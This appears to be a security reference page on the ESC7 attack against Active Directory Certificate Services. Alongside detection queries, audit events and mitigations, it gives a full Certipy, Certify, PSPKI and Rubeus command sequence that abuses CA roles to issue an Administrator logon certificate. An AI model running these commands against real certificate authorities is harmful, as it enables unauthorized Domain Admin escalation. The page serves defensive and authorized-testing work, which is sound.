How it works
A certification authority has its own security descriptor, separate from the templates and from the directory objects that describe the CA. It grants four rights: Read, Request Certificates (enroll), Manage CA and Issue and Manage Certificates. ESC7 is the abuse of the last two when they are held by a principal outside the PKI team.
- ManageCA is the CA administrator role. It can change CA configuration and policy flags, choose which templates the CA publishes, and edit the CA's security descriptor, which includes granting any role to anyone.
- ManageCertificates is the certificate manager (officer) role. It can approve or deny pending requests, issue requests that failed, and revoke certificates.
These rights override the controls on templates. A template can require manager approval, or deny enrollment to everyone but administrators, and a certificate manager can still issue the request by hand. That gives three attack variants.
ManageCA: issue a denied request. The attacker grants themselves the officer role, makes sure the built-in SubCA template is published, and requests a SubCA certificate for a privileged account. SubCA allows a requester-supplied subject and has no EKU restriction, but only administrators can enroll, so the CA denies the request. The request and its ID stay in the CA database, and as an officer the attacker issues it and then retrieves the certificate. Any published template that fits ESC1 except for enrollment rights works the same way.
ManageCA: weaken the CA. The attacker sets EDITF_ATTRIBUTESUBJECTALTNAME2 and continues with ESC6, disables the SID security extension (ESC16), relaxes the RPC encryption requirement (ESC11), or publishes a vulnerable template that was not being issued. Flag changes take effect when the certificate service restarts, which ManageCA alone does not guarantee the attacker can do.
ManageCertificates: approve a pending request. When a template has everything ESC1 needs except that it requires manager approval, the attacker submits the request, which goes to pending, and approves it with the officer role. An officer can also add an extension, such as an application or issuance policy, to a request while it is pending.
Prerequisites
- ManageCA or ManageCertificates on an enterprise CA, held directly or through group membership. Typical causes are delegation to server administrators, a service account used for CA automation, and broad groups added to the CA's Security tab.
- Network access to the CA over RPC/DCOM and to a domain controller.
- For the denied-request variant: the
SubCAtemplate (or another template with a requester-supplied subject and an authentication-capable EKU) exists in the forest. ManageCA can publish it if it is not issued. - For the pending-request variant: a published template with manager approval that the attacker can enroll in and that otherwise matches ESC1, ESC2 or ESC3.
- The target account's SID, where domain controllers enforce strong certificate mapping.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Find CA roles
certipy find -u 'alice@corp.example.com' -p '<password>' -dc-ip 192.0.2.10 -vulnerable -stdout
Under the CA, Certipy lists ManageCa and ManageCertificates holders in Access Rights and flags ESC7 : User has dangerous permissions when the current user is among them. On Windows:
Certify.exe enum-cas --filter-vulnerable --hide-admins
The CA's access control list can also be read with the PSPKI module:
Import-Module PSPKI
Get-CertificationAuthority -ComputerName 'SRV01.corp.example.com' |
Get-CertificationAuthorityAcl |
Select-Object -ExpandProperty Access |
Select-Object IdentityReference, AccessControlType, Rights, IsInherited
2. ManageCA: issue a denied SubCA request
Add the officer role, publish SubCA if needed, request, issue and retrieve:
# Grant the current account ManageCertificates
certipy ca -u 'alice@corp.example.com' -p '<password>' \
-ns 192.0.2.10 -target 'SRV01.corp.example.com' \
-ca 'CORP-CA' -add-officer 'alice'
# Publish the SubCA template on the CA (skip if it is already issued)
certipy ca -u 'alice@corp.example.com' -p '<password>' \
-ns 192.0.2.10 -target 'SRV01.corp.example.com' \
-ca 'CORP-CA' -enable-template 'SubCA'
# Request SubCA for the target. The CA denies it and returns a request ID;
# answer yes when Certipy offers to save the private key
certipy req -u 'alice@corp.example.com' -p '<password>' \
-dc-ip 192.0.2.10 -target 'SRV01.corp.example.com' \
-ca 'CORP-CA' -template 'SubCA' \
-upn 'administrator@corp.example.com' \
-sid 'S-1-5-21-1004336348-1177238915-682003330-500'
# Issue the denied request as an officer
certipy ca -u 'alice@corp.example.com' -p '<password>' \
-ns 192.0.2.10 -target 'SRV01.corp.example.com' \
-ca 'CORP-CA' -issue-request '31'
# Retrieve the issued certificate and combine it with the saved key
certipy req -u 'alice@corp.example.com' -p '<password>' \
-dc-ip 192.0.2.10 -target 'SRV01.corp.example.com' \
-ca 'CORP-CA' -retrieve '31'
The same chain with Certify. Role and template switches toggle, and take SIDs:
Certify.exe manage-ca --ca SRV01.corp.example.com\CORP-CA --officer S-1-5-21-1004336348-1177238915-682003330-1104
Certify.exe manage-ca --ca SRV01.corp.example.com\CORP-CA --template SubCA
Certify.exe request --ca SRV01.corp.example.com\CORP-CA --template SubCA --upn Administrator --sid S-1-5-21-1004336348-1177238915-682003330-500
Certify.exe manage-ca --ca SRV01.corp.example.com\CORP-CA --issue-id 31
Certify.exe request-download --ca SRV01.corp.example.com\CORP-CA --id 31 --private-key <base64-key>
Certify prints the private key when the request fails; pass it to request-download to get a complete PFX.
3. ManageCA: enable request attribute SANs
Certify.exe manage-ca --ca SRV01.corp.example.com\CORP-CA --esc6
Or with PSPKI, which can also restart the service when the account has the right to:
Import-Module PSPKI
Get-CertificationAuthority -Name 'CORP-CA' |
Get-PolicyModuleFlag |
Enable-PolicyModuleFlag AttributeSubjectAlternativeName -RestartCA
Then continue with the ESC6 request. On patched domain controllers this needs a missing SID security extension as well.
4. ManageCertificates: approve a pending request
Submit a request to a template that requires manager approval, note the request ID and the private key, and approve it:
Certify.exe request --ca SRV01.corp.example.com\CORP-CA --template ApprovalTemplate --upn Administrator --sid S-1-5-21-1004336348-1177238915-682003330-500
Certify.exe manage-ca --ca SRV01.corp.example.com\CORP-CA --issue-id 32
Certify.exe request-download --ca SRV01.corp.example.com\CORP-CA --id 32 --private-key <base64-key>
PSPKI does the approval with the CA's own management interface:
Get-CertificationAuthority -Name 'CORP-CA' |
Get-PendingRequest -RequestID 32 |
Approve-CertificateRequest
5. Authenticate
certipy auth -pfx 'administrator.pfx' -dc-ip 192.0.2.10
.\Rubeus.exe asktgt /user:Administrator /certificate:<base64-or-path-to-pfx> /domain:corp.example.com /dc:DC01.corp.example.com /ptt /nowrap
6. Revert the CA changes
certipy ca -u 'alice@corp.example.com' -p '<password>' \
-ns 192.0.2.10 -target 'SRV01.corp.example.com' \
-ca 'CORP-CA' -disable-template 'SubCA'
certipy ca -u 'alice@corp.example.com' -p '<password>' \
-ns 192.0.2.10 -target 'SRV01.corp.example.com' \
-ca 'CORP-CA' -remove-officer 'alice'
Impact
A CA role is control over issuance. With ManageCA the attacker obtains a logon certificate for any account in the forest in a handful of commands, which is privilege escalation to Domain Admin, and can leave the CA weakened: a policy flag set, a template published, an extra officer. With ManageCertificates the same result depends on finding a suitable template that waits for approval.
Certificate managers can also revoke certificates, so the role allows disruption: revoking domain controller or service certificates breaks smart card logon, LDAPS and anything else that depends on them.
OPSEC and artifacts
- Reverting changes. Operators remove the officer entry and unpublish
SubCAafter the certificate is retrieved, so a later look at the CA shows the original configuration. Each change was still logged at the time, if the CA audits it: event 4882 for the CA's security permissions and event 4890 for certificate manager settings. - Using a role already held. An attacker who already has both roles, or uses only ManageCertificates against a pending request, makes no role change and writes no 4882. What remains is the request history.
- Denied, then issued. The CA writes event 4888 when it denies the
SubCArequest and event 4887 when the officer issues it, with the same request ID. For the approval variant the pair is event 4889 (pending) and 4887. Neither 4887 names the officer. - Extensions added to pending requests. Event 4874 records changed request attributes, and its companion 4873 a changed extension.
- Policy flags. Setting
EDITF_ATTRIBUTESUBJECTALTNAME2writes event 4891, and the service restart that activates it is visible in the CA's service start and stop events. - Blinding the CA. A CA administrator can turn off the CA's audit filter first. That change is itself event 4885.
- Template publication. Publishing
SubCAchangescertificateTemplateson the CA's enrollment service object in the directory, an event 5136 on a domain controller where that object is audited. - Database. The denied and issued rows, with requester, template, SAN and serial number, stay in the CA database.
Detection
- Role and permission changes. Alert on 4882 and 4890. They are rare, and the CA configuration change rules cover them together with configuration entries (4891, 4892), the audit filter (4885) and altered pending requests (4873, 4874).
- Denied or pending, then issued. Join 4888 or 4889 to 4887 on the CA and request ID. A request for
SubCA, or one that names an account other than the requester, that an officer pushed through is the core signal of this attack. - SubCA activity. Any request for the
SubCAtemplate from an account that is not a PKI administrator, whatever its result. - Request attributes. After a flag change, the SAN request attribute rules catch the ESC6 request that follows.
- Certificate logon. The certificate mapping rules cover the built-in Administrator obtaining a TGT with a certificate.
// Requests the CA denied that were later issued anyway
let Denied = WindowsEvent
| where EventID == 4888 and Provider == "Microsoft-Windows-Security-Auditing"
| extend RequestId = tostring(EventData.RequestId), Requester = tostring(EventData.Requester)
| where isnotempty(RequestId)
| project Computer, RequestId, DeniedTime = TimeGenerated, Requester;
let Issued = WindowsEvent
| where EventID == 4887 and Provider == "Microsoft-Windows-Security-Auditing"
| extend RequestId = tostring(EventData.RequestId),
Template = tostring(EventData.CertificateTemplate),
San = tostring(EventData.SubjectAlternativeName)
| where isnotempty(RequestId)
| project Computer, RequestId, IssueTime = TimeGenerated, Template, San;
Denied
| join kind=inner Issued on Computer, RequestId
| where IssueTime > DeniedTime
| project Computer, RequestId, DeniedTime, IssueTime, Requester, Template, San
Request IDs are per CA, so the CA server name must be part of the join. The events depend on the CA's audit filter: "Issue and manage certificate requests" for 4886 to 4889, "Change CA security settings" for 4882 and 4890, and "Change CA configuration" for 4891 and 4892, together with the Audit Certification Services subcategory.
Mitigation
- Review the CA's security descriptor. Only dedicated PKI administration groups should hold Manage CA or Issue and Manage Certificates. Remove individual users, service accounts, server administrator groups and any broad group, and check nested membership. This is least privilege for the CA.
- Separate the two roles. Put CA administrators and certificate managers in different groups with different members, and enforce role separation on the CA so that one account cannot use both.
- Restrict certificate managers. On the CA's Certificate Managers tab, limit each manager group to the templates and subject groups it needs.
- Treat the CA as Tier 0. Role holders should use dedicated administrative accounts that do not sign in to lower-tier systems, since compromising one of them is compromising the CA.
- Unpublish
SubCAon CAs that do not issue subordinate CA certificates, and remove templates that only wait for approval to become dangerous. Unpublishing slows the attack but does not stop a ManageCA holder. - Enable the full CA audit filter and the Audit Certification Services subcategory, forward the CA's Security log, and alert on changes to the filter. The Active Directory audit policy guide covers the directory side for template publication.
- After an incident, compare the CA's security descriptor,
EditFlagsand published templates with a known-good baseline, revoke the certificates issued during the window and publish a CRL. - Put AD CS in the hardening plan. The CA, its templates and its administrators are Tier 0; the Active Directory hardening guide places the AD CS review among the Tier 0 controls.
Detection rules for this attack
Log events to collect
FAQ
What is the difference between ManageCA and ManageCertificates?
ManageCA is the CA administrator role: it configures the CA, publishes templates, changes policy flags and assigns roles, including ManageCertificates. ManageCertificates is the certificate manager or officer role: it approves and denies pending requests, issues failed ones and revokes certificates. ManageCA is the stronger right because its holder can grant themselves the other.
Why does the attack use the SubCA template?
The built-in SubCA template lets the requester supply the subject and has no EKU restriction, so a certificate from it can name any account. Only administrators can enroll in it, so the attacker's request is denied, but the denied request stays in the CA database with a request ID, and a certificate manager can issue it anyway.
Does the 4887 issuance event show who approved the request?
No. The Requester field in event 4887 is the account that submitted the request, not the certificate manager who issued it. A denied request (4888) or a pending one (4889) followed by 4887 with the same request ID shows that someone with the officer role intervened; the role changes themselves are in events 4882 and 4890.
Can role separation prevent ESC7?
It limits it. With role separation enforced on the CA, an account that holds both the CA administrator and certificate manager roles is blocked from using either, so the self-service chain of granting the officer role and then issuing a request fails for a single account. An attacker with two accounts, or one that holds only ManageCA, still has options.
References
- Steal or Forge Authentication Certificates, T1649 (MITRE ATT&CK)
- Certified Pre-Owned: Abusing Active Directory Certificate Services (SpecterOps)
- Certification Authority roles and role separation (Microsoft Learn)
- Certipy wiki: Privilege Escalation, ESC7
- Certify wiki: Command Overview, manage-ca
- PSPKI: Enable-PolicyModuleFlag
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.